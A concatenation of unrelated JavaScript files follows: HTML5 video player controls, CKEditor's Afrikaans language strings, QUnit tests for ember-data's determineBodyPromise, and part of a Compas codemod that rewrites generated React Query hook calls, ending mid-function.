this.btnMute.appendChild(document.createTextNode('\u25C1)'));
volumeContainer.appendChild(this.btnMute);
// add volumeRange bar
this.volumeBar = document.createElement('div');
this.volumeBar.classList.add('tc-show');
this.volumeBar.setAttribute('style', 'position: absolute; left:30px; top: 0; right: 0; bottom: 0; border: 1px solid rgba(255,255,255,0.2); border-radius: 3px; overflow: hidden;');
this.volumeIndicator = document.createElement('div');
this.volumeIndicator.classList.add('tc-show');
this.volumeIndicator.setAttribute('style', 'position: absolute; left: 0; top: 0; width: 0%; height: 99.99%; background-color: rgba(255,255,255,0.2);');
this.volumeRange = document.createElement('input');
this.volumeRange.classList.add('tc-show');
this.volumeRange.setAttribute('type', 'range');
this.volumeRange.setAttribute('min', 0);
this.volumeRange.setAttribute('max', 100);
this.volumeRange.setAttribute('step', 1);
this.volumeRange.setAttribute('style', 'position: relative; width: 99.99%; background: none; border: none;');
this.updateVolume();
this.volumeBar.appendChild(this.volumeIndicator);
this.volumeBar.appendChild(this.volumeRange);
volumeContainer.appendChild(this.volumeBar);
// add TabCinema button
this.btnTC = document.createElement('div');
this.btnTC.classList.add('tc-show');
this.btnTC.setAttribute('style', 'position: absolute; right: 5px; top: 5px; width: 20px; height: 20px; background-color: rgba(100,100,100,0.5); color: #fff; font-size: 18px; line-height: 20px; border-radius: 3px; cursor: pointer');
this.btnTC.appendChild(document.createTextNode('\u25A3'));
this.inner.appendChild(this.btnTC);
// add update intervals
this.updatePlayedInterval = window.setInterval(this.updatePlayed, 40);
// add event handlers
this.btnPlay.addEventListener('mousedown', this.togglePlayPause);
this.btnTC.addEventListener('mousedown', this.exitFullScreen);
this.seekRange.addEventListener('mousedown', this.seekRangeMouseDown);
this.seekRange.addEventListener('change', this.setSeek);
this.seekRange.addEventListener('mouseup', this.seekRangeMouseUp);
this.volumeRange.addEventListener('mousedown', this.setVolume);
this.volumeRange.addEventListener('change', this.setVolume);
this.volumeRange.addEventListener('mouseup', this.setVolume);
this.btnMute.addEventListener('mousedown', this.toggleMute);
// add video event listeners
this.video.addEventListener('progress', this.updateLoaded);
this.video.addEventListener('play', this.updateState);
this.video.addEventListener('pause', this.updateState);
},
togglePlayPause: function (e) {
var newState = !html5controls.video.paused;
if (newState) {
html5controls.video.pause();
}
else {
html5controls.video.play();
}
e.stopPropagation();
},
seekRangeMouseDown: function (e) {
html5controls.wasPaused = html5controls.video.paused;
html5controls.video.pause();
e.stopPropagation();
},
seekRangeMouseUp: function (e) {
if (!html5controls.wasPaused) {
html5controls.video.play();
}
e.stopPropagation();
},
setSeek: function (e) {
html5controls.video.currentTime = this.value / 100 * html5controls.video.duration;
e.stopPropagation();
},
toggleMute: function (e) {
html5controls.video.muted = !html5controls.video.muted;
html5controls.updateVolume();
e.stopPropagation();
},
setVolume: function (e) {
if (html5controls.video.muted) {
html5controls.toggleMute();
}
html5controls.video.volume = this.value / 100;
html5controls.updateVolume();
e.stopPropagation();
},
exitFullScreen: function (e) {
window.top.postMessage({
message: 'requestEndFullscreen'
}, '*');
e.stopPropagation();
},
updateState: function () {
var isPaused = html5controls.video.paused;
while (html5controls.btnPlay.childNodes.length) {
html5controls.btnPlay.removeChild(html5controls.btnPlay.firstChild);
}
var str = isPaused ? '\u25BA' : '\u25AE\u25AE';
html5controls.btnPlay.appendChild(document.createTextNode(str));
},
updateVolume: function () {
if (html5controls.video.muted) {
html5controls.btnMute.style['backgroundColor'] = 'rgba(200,50,50,0.5)';
html5controls.volumeRange.value = 0;
html5controls.volumeIndicator.style.width = '0%';
}
else {
html5controls.btnMute.style['backgroundColor'] = 'rgba(100,100,100,0.5)';
html5controls.volumeRange.value = html5controls.video.volume * 100;
html5controls.volumeIndicator.style.width = html5controls.video.volume * 100 + '%';
}
},
updateLoaded: function () {
var tr = html5controls.video.buffered;
for (var i = 0; i < tr.length; i++) {
var ti = tr.start(i);
var tf = tr.end(i);
}
html5controls.loadedIndicator.style.width = 100 * tf / html5controls.video.duration + '%';
},
updatePlayed: function () {
html5controls.playedIndicator.style.width = 100 * html5controls.video.currentTime / html5controls.video.duration + '%';
html5controls.seekRange.value = 100 * html5controls.video.currentTime / html5controls.video.duration;
},
destroy: function () {
// clear intervals
window.clearInterval(this.updatePlayedInterval);
// strip event handlers
this.btnPlay.removeEventListener('mousedown', this.togglePlayPause);
this.btnTC.removeEventListener('mousedown', this.exitFullScreen);
this.seekRange.removeEventListener('mousedown', this.seekRangeMouseDown);
this.seekRange.removeEventListener('change', this.setSeek);
this.seekRange.removeEventListener('mouseup', this.seekRangeMouseUp);
this.volumeRange.removeEventListener('mousedown', this.setVolume);
this.volumeRange.removeEventListener('change', this.setVolume);
this.volumeRange.removeEventListener('mouseup', this.setVolume);
this.btnMute.removeEventListener('mousedown', this.toggleMute);
// strip video event listeners
this.video.removeEventListener('progress', this.updateLoaded);
this.video.removeEventListener('play', this.updateState);
this.video.removeEventListener('pause', this.updateState);
// remove controls from DOM tree
this.container.parentNode.removeChild(this.container);
html5controls = null;
}
};
html5controls.construct();
return html5controls;
}
};
}
|
/*
Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.lang['af']={"editor":"Woordverwerker","editorPanel":"Woordverwerkerpaneel","common":{"editorHelp":"Druk op ALT 0 vir hulp","browseServer":"Blaai op bediener","url":"URL","protocol":"Protokol","upload":"Oplaai","uploadSubmit":"Stuur aan die bediener","image":"Beeld","flash":"Flash","form":"Vorm","checkbox":"Merkhokkie","radio":"Radioknoppie","textField":"Teksveld","textarea":"Teksarea","hiddenField":"Versteekteveld","button":"Knop","select":"Keuseveld","imageButton":"Beeldknop","notSet":"<geen instelling>","id":"Id","name":"Naam","langDir":"Skryfrigting","langDirLtr":"Links na regs (LTR)","langDirRtl":"Regs na links (RTL)","langCode":"Taalkode","longDescr":"Lang beskrywing URL","cssClass":"CSS klasse","advisoryTitle":"Aanbevole titel","cssStyle":"Styl","ok":"OK","cancel":"Kanselleer","close":"Sluit","preview":"Voorbeeld","resize":"Skalierung","generalTab":"Algemeen","advancedTab":"Gevorderd","validateNumberFailed":"Hierdie waarde is nie 'n nommer nie.","confirmNewPage":"Alle wysiginge sal verlore gaan. Is jy seker dat jy 'n nuwe bladsy wil laai?","confirmCancel":"Sommige opsies is gewysig. Is jy seker dat jy hierdie dialoogvenster wil sluit?","options":"Opsies","target":"Teiken","targetNew":"Nuwe venster (_blank)","targetTop":"Boonste venster (_top)","targetSelf":"Selfde venster (_self)","targetParent":"Oorspronklike venster (_parent)","langDirLTR":"Links na Regs (LTR)","langDirRTL":"Regs na Links (RTL)","styles":"Styl","cssClasses":"CSS klasse","width":"Breedte","height":"Hoogte","align":"Orienteerung","alignLeft":"Links","alignRight":"Regs","alignCenter":"Middel","alignJustify":"Eweredig","alignTop":"Bo","alignMiddle":"Middel","alignBottom":"Onder","alignNone":"Geen","invalidValue":"Ongeldige waarde","invalidHeight":"Hoogte moet 'n getal wees","invalidWidth":"Breedte moet 'n getal wees.","invalidCssLength":"Die waarde vir die \"%1\" veld moet 'n posetiewe getal wees met of sonder 'n geldige CSS eenheid (px, %, in, cm, mm, em, ex, pt, of pc).","invalidHtmlLength":"Die waarde vir die \"%1\" veld moet 'n posetiewe getal wees met of sonder 'n geldige HTML eenheid (px of %).","invalidInlineStyle":"Ongeldige CSS. Formaat is een of meer sleutel-wert paare, \"naam : wert\" met kommapunte gesky.","cssLengthTooltip":"Voeg 'n getal wert in pixel in, of 'n waarde met geldige CSS eenheid (px, %, in, cm, mm, em, ex, pt, of pc).","unavailable":"%1<span class=\"cke_accessibility\">, nie beskikbaar nie</span>"},"about":{"copy":"Kopiereg © $1. Alle regte voorbehou.","dlgTitle":"Meer oor CKEditor","help":"Slaan $1 na vir hulp.","moreInfo":"Vir lisensie-informasie, besoek asb. ons webwerf:","title":"Meer oor CKEditor","userGuide":"CKEditor Gebruikers gits"},"basicstyles":{"bold":"Vet","italic":"Skuins","strike":"Deurgestreep","subscript":"Onderskrif","superscript":"Bo-skrif","underline":"Onderstreep"},"bidi":{"ltr":"Skryfrigting van links na regs","rtl":"Skryfrigting van regs na links"},"blockquote":{"toolbar":"Sitaatblok"},"clipboard":{"copy":"Kopiëer","copyError":"U blaaier se sekuriteitsinstelling belet die kopiëringsaksie. Gebruik die sleutelbordkombinasie (Ctrl/Cmd+C).","cut":"Knip","cutError":"U blaaier se sekuriteitsinstelling belet die outomatiese knip-aksie. Gebruik die sleutelbordkombinasie (Ctrl/Cmd+X).","paste":"Plak","pasteArea":"Plak-area","pasteMsg":"Plak die teks in die volgende teks-area met die sleutelbordkombinasie (<STRONG>Ctrl/Cmd+V</STRONG>) en druk <STRONG>OK</STRONG>.","securityMsg":"Weens u blaaier se sekuriteitsinstelling is data op die knipbord nie toeganklik nie. U kan dit eers weer in hierdie venster plak.","title":"Byvoeg"},"button":{"selectedLabel":"%1 uitgekies"},"colorbutton":{"auto":"Outomaties","bgColorTitle":"Agtergrondkleur","colors":{"000":"Swart","800000":"Meroen","8B4513":"Sjokoladebruin","2F4F4F":"Donkerleisteengrys","008080":"Blougroen","000080":"Vlootblou","4B0082":"Indigo","696969":"Donkergrys","B22222":"Rooibaksteen","A52A2A":"Bruin","DAA520":"Donkergeel","006400":"Donkergroen","40E0D0":"Turkoois","0000CD":"Middelblou","800080":"Pers","808080":"Grys","F00":"Rooi","FF8C00":"Donkeroranje","FFD700":"Goud","008000":"Groen","0FF":"Siaan","00F":"Blou","EE82EE":"Viooltjieblou","A9A9A9":"Donkergrys","FFA07A":"Ligsalm","FFA500":"Oranje","FFFF00":"Geel","00FF00":"Lemmetjie","AFEEEE":"Ligturkoois","ADD8E6":"Ligblou","DDA0DD":"Pruim","D3D3D3":"Liggrys","FFF0F5":"Linne","FAEBD7":"Ivoor","FFFFE0":"Liggeel","F0FFF0":"Heuningdou","F0FFFF":"Asuur","F0F8FF":"Ligte hemelsblou","E6E6FA":"Laventel","FFF":"Wit"},"more":"Meer Kleure...","panelTitle":"Kleure","textColorTitle":"Tekskleur"},"colordialog":{"clear":"Herstel","highlight":"Aktief","options":"Kleuropsies","selected":"Geselekteer","title":"Kies kleur"},"templates":{"button":"Sjablone","emptyListMsg":"(Geen sjablone gedefineer nie)","insertOption":"Vervang huidige inhoud","options":"Sjabloon opsies","selectPromptMsg":"Kies die sjabloon om te gebruik in die redigeerder (huidige inhoud gaan verlore):","title":"Inhoud Sjablone"},"contextmenu":{"options":"Konteks Spyskaart-opsies"},"div":{"IdInputLabel":"Id","advisoryTitleInputLabel":"Aanbevole Titel","cssClassInputLabel":"CSS klasse","edit":"Wysig Div","inlineStyleInputLabel":"Inlyn Styl","langDirLTRLabel":"Links na regs (LTR)","langDirLabel":"Skryfrigting","langDirRTLLabel":"Regs na links (RTL)","languageCodeInputLabel":" Taalkode","remove":"Verwyder Div","styleSelectLabel":"Styl","title":"Skep Div houer","toolbar":"Skep Div houer"},"toolbar":{"toolbarCollapse":"Verklein werkbalk","toolbarExpand":"Vergroot werkbalk","toolbarGroups":{"document":"Dokument","clipboard":"Knipbord/Undo","editing":"Verander","forms":"Vorms","basicstyles":"Eenvoudige Styl","paragraph":"Paragraaf","links":"Skakels","insert":"Toevoeg","styles":"Style","colors":"Kleure","tools":"Gereedskap"},"toolbars":"Werkbalke"},"elementspath":{"eleLabel":"Elemente-pad","eleTitle":"%1 element"},"find":{"find":"Soek","findOptions":"Find Options","findWhat":"Soek na:","matchCase":"Hoof/kleinletter sensitief","matchCyclic":"Soek deurlopend","matchWord":"Hele woord moet voorkom","notFoundMsg":"Teks nie gevind nie.","replace":"Vervang","replaceAll":"Vervang alles","replaceSuccessMsg":"%1 voorkoms(te) vervang.","replaceWith":"Vervang met:","title":"Soek en vervang"},"fakeobjects":{"anchor":"Anker","flash":"Flash animasie","hiddenfield":"Verborge veld","iframe":"IFrame","unknown":"Onbekende objek"},"flash":{"access":"Skrip toegang","accessAlways":"Altyd","accessNever":"Nooit","accessSameDomain":"Selfde domeinnaam","alignAbsBottom":"Absoluut-onder","alignAbsMiddle":"Absoluut-middel","alignBaseline":"Basislyn","alignTextTop":"Teks bo","bgcolor":"Agtergrondkleur","chkFull":"Laat volledige skerm toe","chkLoop":"Herhaal","chkMenu":"Flash spyskaart aan","chkPlay":"Speel outomaties","flashvars":"Veranderlikes vir Flash","hSpace":"HSpasie","properties":"Flash eienskappe","propertiesTab":"Eienskappe","quality":"Kwaliteit","qualityAutoHigh":"Outomaties hoog","qualityAutoLow":"Outomaties laag","qualityBest":"Beste","qualityHigh":"Hoog","qualityLow":"Laag","qualityMedium":"Gemiddeld","scale":"Skaal","scaleAll":"Wys alles","scaleFit":"Presiese pas","scaleNoBorder":"Geen rand","title":"Flash eienskappe","vSpace":"VSpasie","validateHSpace":"HSpasie moet 'n heelgetal wees.","validateSrc":"Voeg die URL in","validateVSpace":"VSpasie moet 'n heelgetal wees.","windowMode":"Venster modus","windowModeOpaque":"Ondeursigtig","windowModeTransparent":"Deursigtig","windowModeWindow":"Venster"},"font":{"fontSize":{"label":"Grootte","voiceLabel":"Fontgrootte","panelTitle":"Fontgrootte"},"label":"Font","panelTitle":"Fontnaam","voiceLabel":"Font"},"forms":{"button":{"title":"Knop eienskappe","text":"Teks (Waarde)","type":"Soort","typeBtn":"Knop","typeSbm":"Stuur","typeRst":"Maak leeg"},"checkboxAndRadio":{"checkboxTitle":"Merkhokkie eienskappe","radioTitle":"Radioknoppie eienskappe","value":"Waarde","selected":"Geselekteer","required":"Required"},"form":{"title":"Vorm eienskappe","menu":"Vorm eienskappe","action":"Aksie","method":"Metode","encoding":"Kodering"},"hidden":{"title":"Verborge veld eienskappe","name":"Naam","value":"Waarde"},"select":{"title":"Keuseveld eienskappe","selectInfo":"Info","opAvail":"Beskikbare opsies","value":"Waarde","size":"Grootte","lines":"Lyne","chkMulti":"Laat meer as een keuse toe","required":"Required","opText":"Teks","opValue":"Waarde","btnAdd":"Byvoeg","btnModify":"Wysig","btnUp":"Op","btnDown":"Af","btnSetValue":"Stel as geselekteerde waarde","btnDelete":"Verwyder"},"textarea":{"title":"Teks-area eienskappe","cols":"Kolomme","rows":"Rye"},"textfield":{"title":"Teksveld eienskappe","name":"Naam","value":"Waarde","charWidth":"Breedte (karakters)","maxChars":"Maksimum karakters","required":"Required","type":"Soort","typeText":"Teks","typePass":"Wagwoord","typeEmail":"Email","typeSearch":"Search","typeTel":"Telephone Number","typeUrl":"URL"}},"format":{"label":"Opmaak","panelTitle":"Opmaak","tag_address":"Adres","tag_div":"Normaal (DIV)","tag_h1":"Opskrif 1","tag_h2":"Opskrif 2","tag_h3":"Opskrif 3","tag_h4":"Opskrif 4","tag_h5":"Opskrif 5","tag_h6":"Opskrif 6","tag_p":"Normaal","tag_pre":"Opgemaak"},"horizontalrule":{"toolbar":"Horisontale lyn invoeg"},"iframe":{"border":"Wys rand van raam","noUrl":"Gee die iframe URL","scrolling":"Skuifbalke aan","title":"IFrame Eienskappe","toolbar":"IFrame"},"image":{"alt":"Alternatiewe teks","border":"Rand","btnUpload":"Stuur na bediener","button2Img":"Wil u die geselekteerde afbeeldingsknop vervang met 'n eenvoudige afbeelding?","hSpace":"HSpasie","img2Button":"Wil u die geselekteerde afbeelding vervang met 'n afbeeldingsknop?","infoTab":"Afbeelding informasie","linkTab":"Skakel","lockRatio":"Vaste proporsie","menu":"Afbeelding eienskappe","resetSize":"Herstel grootte","title":"Afbeelding eienskappe","titleButton":"Afbeeldingsknop eienskappe","upload":"Oplaai","urlMissing":"Die URL na die afbeelding ontbreek.","vSpace":"VSpasie","validateBorder":"Rand moet 'n heelgetal wees.","validateHSpace":"HSpasie moet 'n heelgetal wees.","validateVSpace":"VSpasie moet 'n heelgetal wees."},"indent":{"indent":"Vergroot inspring","outdent":"Verklein inspring"},"smiley":{"options":"Lagbekkie opsies","title":"Voeg lagbekkie by","toolbar":"Lagbekkie"},"justify":{"block":"Uitvul","center":"Sentreer","left":"Links oplyn","right":"Regs oplyn"},"language":{"button":"Set language","remove":"Remove language"},"link":{"acccessKey":"Toegangsleutel","advanced":"Gevorderd","advisoryContentType":"Aanbevole inhoudstipe","advisoryTitle":"Aanbevole titel","anchor":{"toolbar":"Anker byvoeg/verander","menu":"Anker-eienskappe","title":"Anker-eienskappe","name":"Ankernaam","errorName":"Voltooi die ankernaam asseblief","remove":"Remove Anchor"},"anchorId":"Op element Id","anchorName":"Op ankernaam","charset":"Karakterstel van geskakelde bron","cssClasses":"CSS klasse","displayText":"Display Text","emailAddress":"E-posadres","emailBody":"Berig-inhoud","emailSubject":"Berig-onderwerp","id":"Id","info":"Skakel informasie","langCode":"Taalkode","langDir":"Skryfrigting","langDirLTR":"Links na regs (LTR)","langDirRTL":"Regs na links (RTL)","menu":"Wysig skakel","name":"Naam","noAnchors":"(Geen ankers beskikbaar in dokument)","noEmail":"Gee die e-posadres","noUrl":"Gee die skakel se URL","other":"<ander>","popupDependent":"Afhanklik (Netscape)","popupFeatures":"Eienskappe van opspringvenster","popupFullScreen":"Volskerm (IE)","popupLeft":"Posisie links","popupLocationBar":"Adresbalk","popupMenuBar":"Spyskaartbalk","popupResizable":"Herskaalbaar","popupScrollBars":"Skuifbalke","popupStatusBar":"Statusbalk","popupToolbar":"Werkbalk","popupTop":"Posisie bo","rel":"Relationship","selectAnchor":"Kies 'n anker","styles":"Styl","tabIndex":"Tab indeks","target":"Doel","targetFrame":"<raam>","targetFrameName":"Naam van doelraam","targetPopup":"<opspringvenster>","targetPopupName":"Naam van opspringvenster","title":"Skakel","toAnchor":"Anker in bladsy","toEmail":"E-pos","toUrl":"URL","toolbar":"Skakel invoeg/wysig","type":"Skakelsoort","unlink":"Verwyder skakel","upload":"Oplaai"},"list":{"bulletedlist":"Ongenommerde lys","numberedlist":"Genommerde lys"},"liststyle":{"armenian":"Armeense nommering","bulletedTitle":"Eienskappe van ongenommerde lys","circle":"Sirkel","decimal":"Desimale syfers (1, 2, 3, ens.)","decimalLeadingZero":"Desimale syfers met voorloopnul (01, 02, 03, ens.)","disc":"Skyf","georgian":"Georgiese nommering (an, ban, gan, ens.)","lowerAlpha":"Kleinletters (a, b, c, d, e, ens.)","lowerGreek":"Griekse kleinletters (alpha, beta, gamma, ens.)","lowerRoman":"Romeinse kleinletters (i, ii, iii, iv, v, ens.)","none":"Geen","notset":"<nie ingestel nie>","numberedTitle":"Eienskappe van genommerde lys","square":"Vierkant","start":"Begin","type":"Tipe","upperAlpha":"Hoofletters (A, B, C, D, E, ens.)","upperRoman":"Romeinse hoofletters (I, II, III, IV, V, ens.)","validateStartNumber":"Beginnommer van lys moet 'n heelgetal wees."},"magicline":{"title":"Voeg paragraaf hier in"},"maximize":{"maximize":"Maksimaliseer","minimize":"Minimaliseer"},"newpage":{"toolbar":"Nuwe bladsy"},"pagebreak":{"alt":"Bladsy-einde","toolbar":"Bladsy-einde invoeg"},"pastetext":{"button":"Plak as eenvoudige teks","title":"Plak as eenvoudige teks"},"pastefromword":{"confirmCleanup":"Die teks wat u wil plak lyk asof dit uit Word gekopiëer is. Wil u dit eers skoonmaak voordat dit geplak word?","error":"Die geplakte teks kon nie skoongemaak word nie, weens 'n interne fout","title":"Plak vanuit Word","toolbar":"Plak vanuit Word"},"preview":{"preview":"Voorbeeld"},"print":{"toolbar":"Druk"},"removeformat":{"toolbar":"Verwyder opmaak"},"save":{"toolbar":"Bewaar"},"selectall":{"toolbar":"Selekteer alles"},"showblocks":{"toolbar":"Toon blokke"},"sourcearea":{"toolbar":"Bron"},"specialchar":{"options":"Spesiale karakter-opsies","title":"Kies spesiale karakter","toolbar":"Voeg spesiaale karakter in"},"scayt":{"btn_about":"SCAYT info","btn_dictionaries":"Woordeboeke","btn_disable":"SCAYT af","btn_enable":"SCAYT aan","btn_langs":"Tale","btn_options":"Opsies","text_title":"Speltoets terwyl u tik"},"stylescombo":{"label":"Styl","panelTitle":"Vormaat style","panelTitle1":"Blok style","panelTitle2":"Inlyn style","panelTitle3":"Objek style"},"table":{"border":"Randbreedte","caption":"Naam","cell":{"menu":"Sel","insertBefore":"Voeg sel in voor","insertAfter":"Voeg sel in na","deleteCell":"Verwyder sel","merge":"Voeg selle saam","mergeRight":"Voeg saam na regs","mergeDown":"Voeg saam ondertoe","splitHorizontal":"Splits sel horisontaal","splitVertical":"Splits sel vertikaal","title":"Sel eienskappe","cellType":"Sel tipe","rowSpan":"Omspan rye","colSpan":"Omspan kolomme","wordWrap":"Woord terugloop","hAlign":"Horisontale oplyning","vAlign":"Vertikale oplyning","alignBaseline":"Basislyn","bgColor":"Agtergrondkleur","borderColor":"Randkleur","data":"Inhoud","header":"Opskrif","yes":"Ja","no":"Nee","invalidWidth":"Selbreedte moet 'n getal wees.","invalidHeight":"Selhoogte moet 'n getal wees.","invalidRowSpan":"Omspan rye moet 'n heelgetal wees.","invalidColSpan":"Omspan kolomme moet 'n heelgetal wees.","chooseColor":"Kies"},"cellPad":"Sel-spasie","cellSpace":"Sel-afstand","column":{"menu":"Kolom","insertBefore":"Voeg kolom in voor","insertAfter":"Voeg kolom in na","deleteColumn":"Verwyder kolom"},"columns":"Kolomme","deleteTable":"Verwyder tabel","headers":"Opskrifte","headersBoth":"Beide ","headersColumn":"Eerste kolom","headersNone":"Geen","headersRow":"Eerste ry","invalidBorder":"Randbreedte moet 'n getal wees.","invalidCellPadding":"Sel-spasie moet 'n getal wees.","invalidCellSpacing":"Sel-afstand moet 'n getal wees.","invalidCols":"Aantal kolomme moet 'n getal groter as 0 wees.","invalidHeight":"Tabelhoogte moet 'n getal wees.","invalidRows":"Aantal rye moet 'n getal groter as 0 wees.","invalidWidth":"Tabelbreedte moet 'n getal wees.","menu":"Tabel eienskappe","row":{"menu":"Ry","insertBefore":"Voeg ry in voor","insertAfter":"Voeg ry in na","deleteRow":"Verwyder ry"},"rows":"Rye","summary":"Opsomming","title":"Tabel eienskappe","toolbar":"Tabel","widthPc":"persent","widthPx":"piksels","widthUnit":"breedte-eenheid"},"undo":{"redo":"Oordoen","undo":"Ontdoen"},"wsc":{"btnIgnore":"Ignoreer","btnIgnoreAll":"Ignoreer alles","btnReplace":"Vervang","btnReplaceAll":"vervang alles","btnUndo":"Ontdoen","changeTo":"Verander na","errorLoading":"Fout by inlaai van diens: %s.","ieSpellDownload":"Speltoetser is nie geïnstalleer nie. Wil u dit nou aflaai?","manyChanges":"Klaar met speltoets: %1 woorde verander","noChanges":"Klaar met speltoets: Geen woorde verander nie","noMispell":"Klaar met speltoets: Geen foute nie","noSuggestions":"- Geen voorstel -","notAvailable":"Jammer, hierdie diens is nie nou beskikbaar nie.","notInDic":"Nie in woordeboek nie","oneChange":"Klaar met speltoets: Een woord verander","progress":"Spelling word getoets...","title":"Speltoetser","toolbar":"Speltoets"}}; |
// Tests copied from ember-fetch addon
import { module, test } from 'qunit';
import { resolve } from 'rsvp';
import { determineBodyPromise } from '@ember-data/adapter/-private';
class Response {
ok = true;
constructor(text, options) {
this.status = options.status;
this._text = text;
}
text() {
return resolve(this._text);
}
}
module('Unit | determineBodyPromise', function () {
test('determineBodyResponse returns the body when it is present', function (assert) {
assert.expect(1);
const response = new Response('{"data": "foo"}', { status: 200 });
const bodyPromise = determineBodyPromise(response, {});
return bodyPromise.then((body) => {
assert.deepEqual(body, { data: 'foo' }, 'body response parsed correctly');
});
});
test('determineBodyResponse rejects with an error if it is not json', function (assert) {
assert.expect(1);
const response = new Response('this is not json', { status: 200 });
const bodyPromise = determineBodyPromise(response, {});
return bodyPromise.then((body) => {
assert.true(body instanceof SyntaxError, 'body response syntax errored if cannot be parsed as json');
});
});
test('determineBodyResponse returns undefined when the http status code is 204', function (assert) {
assert.expect(1);
const response = new Response(null, { status: 204 });
const bodyPromise = determineBodyPromise(response, {});
return bodyPromise.then((body) => {
assert.deepEqual(body, undefined, 'body response of null does not throw error for 204');
});
});
test('determineBodyResponse returns undefined when the http status code is 205', function (assert) {
assert.expect(1);
const response = new Response(null, { status: 205 });
const bodyPromise = determineBodyPromise(response, {});
return bodyPromise.then((body) => {
assert.deepEqual(body, undefined, 'body response of null does not throw error for 205');
});
});
test("determineBodyResponse returns undefined when the request method is 'HEAD'", function (assert) {
assert.expect(1);
const response = new Response(null, { status: 200 });
const bodyPromise = determineBodyPromise(response, { method: 'HEAD' });
return bodyPromise.then((body) => {
assert.deepEqual(body, undefined, 'body response of null does not throw error HEAD calls');
});
});
test('determineBodyResponse returns undefined when the http status code is 204', function (assert) {
assert.expect(1);
const response = new Response('null', { status: 204 });
const bodyPromise = determineBodyPromise(response, {});
return bodyPromise.then((body) => {
assert.deepEqual(body, undefined, 'body response of null does not throw error for 204');
});
});
test('determineBodyResponse returns undefined when the http status code is 205', function (assert) {
assert.expect(1);
const response = new Response('null', { status: 205 });
const bodyPromise = determineBodyPromise(response, {});
return bodyPromise.then((body) => {
assert.deepEqual(body, undefined, 'body response of null does not throw error for 205');
});
});
test("determineBodyResponse returns undefined when the request method is 'HEAD'", function (assert) {
assert.expect(1);
const response = new Response('null', { status: 200 });
const bodyPromise = determineBodyPromise(response, { method: 'HEAD' });
return bodyPromise.then((body) => {
assert.deepEqual(body, undefined, 'body response of null does not throw error HEAD calls');
});
});
});
|
import { readFile, writeFile } from "fs/promises";
import {
AppError,
eventStart,
eventStop,
isNil,
newEventFromEvent,
processDirectoryRecursive,
} from "@compas/stdlib";
import * as recast from "recast";
import { PARALLEL_COUNT } from "../constants.js";
/**
* Convert useQueryFoo({}, {}, { staleTime: 5 }) to useQueryFoo({ params: {}, body: {},
* options: { staleTime: 5 } })
*
* @param {InsightEvent} event
* @param {boolean} verbose
* @returns {Promise<void>}
*/
export async function executeCodeModVZeroDotZeroDotHundredFortyTwo(
event,
verbose,
) {
const generatedFileList = await listGeneratedReactQueryFiles(
newEventFromEvent(event),
);
if (verbose) {
event.log.info({
message: `Found ${generatedFileList.length} generated reactQueries.tsx files.`,
});
}
const collectedGeneratedReactQueryHooks =
await collectGeneratedReactQueryHooks(newEventFromEvent(event), [
...generatedFileList,
]);
if (verbose) {
event.log.info({
message: `Found ${
Object.keys(collectedGeneratedReactQueryHooks).length
} 'useQuery' hooks in generated files.`,
});
}
const fullFileList = await listAllTypeScriptFiles(
newEventFromEvent(event),
generatedFileList,
);
if (verbose) {
event.log.info({
message: `Found ${fullFileList.length} ts(x) files in this project.`,
});
}
if (verbose) {
event.log.info({
message: `Code-modding the found files, processing ${PARALLEL_COUNT} files in parallel.`,
});
}
const { callCount, fileCount } = await modTheFiles(
newEventFromEvent(event),
collectedGeneratedReactQueryHooks,
[...fullFileList],
);
if (verbose) {
event.log.info({
message: `Replaced ${callCount} call-sites of ${
Object.keys(collectedGeneratedReactQueryHooks).length
} generated functions over ${fileCount} out of ${
fullFileList.length
} known files.`,
});
}
}
/**
* Find generated reactQueries.tsx files
*
* @param {InsightEvent} event
* @returns {Promise<string[]>}
*/
async function listGeneratedReactQueryFiles(event) {
eventStart(event, "v00142.listGeneratedReactQueryFiles");
const possibleFileList = [];
await processDirectoryRecursive(process.cwd(), (file) => {
if (file.endsWith("reactQueries.tsx")) {
possibleFileList.push(file);
}
});
const result = [];
while (possibleFileList.length) {
const partial = possibleFileList.splice(0, PARALLEL_COUNT);
await Promise.all(
partial.map(async (file) => {
const contents = await readFile(file, "utf-8");
if (contents.startsWith("// Generated by @compas/code-gen")) {
result.push(file);
}
}),
);
}
eventStop(event);
return result;
}
/**
* Parse the reactQueries.tsx files and collect the hooks based on 'useXxxXxx'
*
* @param {InsightEvent} event
* @param {string[]} fileList
* @returns {Promise<Object<string, { parameters: string [] }>>}
*/
async function collectGeneratedReactQueryHooks(event, fileList) {
eventStart(event, "v00142.collectGeneratedReactQueryHooks");
const result = {};
while (fileList.length) {
const partial = fileList.splice(0, PARALLEL_COUNT);
await Promise.all(
partial.map(async (file) => {
const contents = await readFile(file, "utf-8");
const ast = await parseFile(file, contents);
const nodes = ast.program.body
.filter((it) => it.type === "ExportNamedDeclaration")
.map((it) => it.declaration)
.filter((it) => it.type === "FunctionDeclaration");
for (const node of nodes) {
if (node.body.body.length === 2) {
// const api = useApi();
// return useMutation();
continue;
}
result[node.id.name] = {
parameters: node.params
.map((it) => {
if (it.type === "Identifier") {
return it.name;
} else if (it.type === "AssignmentPattern") {
// options = {}, ie a default value
return it.left.name;
}
})
.filter((it) => !isNil(it)),
};
if (result[node.id.name].parameters.length === 0) {
delete result[node.id.name];
}
}
}),
);
}
eventStop(event);
return result;
}
/**
* Find all ts(x) files, excluding the generated ones
*
* @param {InsightEvent} event
* @param {string[]} generatedFiles
* @returns {Promise<string[]>}
*/
async function listAllTypeScriptFiles(event, generatedFiles) {
eventStart(event, "v00142.listAllTypeScriptFiles");
const result = [];
await processDirectoryRecursive(process.cwd(), (file) => {
if (file.endsWith(".d.ts")) {
return;
}
if (!file.endsWith(".ts") && !file.endsWith(".tsx")) {
return;
}
if (generatedFiles.includes(file)) {
return;
}
result.push(file);
});
eventStop(event);
return result;
}
/**
* Replace the call-sites
*
* @param {InsightEvent} event
* @param {Object<string, { parameters: string[], }>} knownHooks
* @param {string[]} fileList
* @returns {Promise<{ callCount: number, fileCount: number }>}
*/
async function modTheFiles(event, knownHooks, fileList) {
eventStart(event, "v00142.modTheFiles");
const builders = recast.types.builders;
let replaceCount = 0;
let modifiedFileCount = 0;
while (fileList.length) {
const partial = fileList.splice(0, PARALLEL_COUNT);
await Promise.all(
partial.map(async (file) => {
let didReplace = false;
const contents = await readFile(file, "utf-8");
const ast = await parseFile(file, contents);
recast.visit(ast, {
visitCallExpression(path) {
if (
isNil(path.node?.callee?.name) ||
isNil(knownHooks[path.node?.callee?.name])
) {
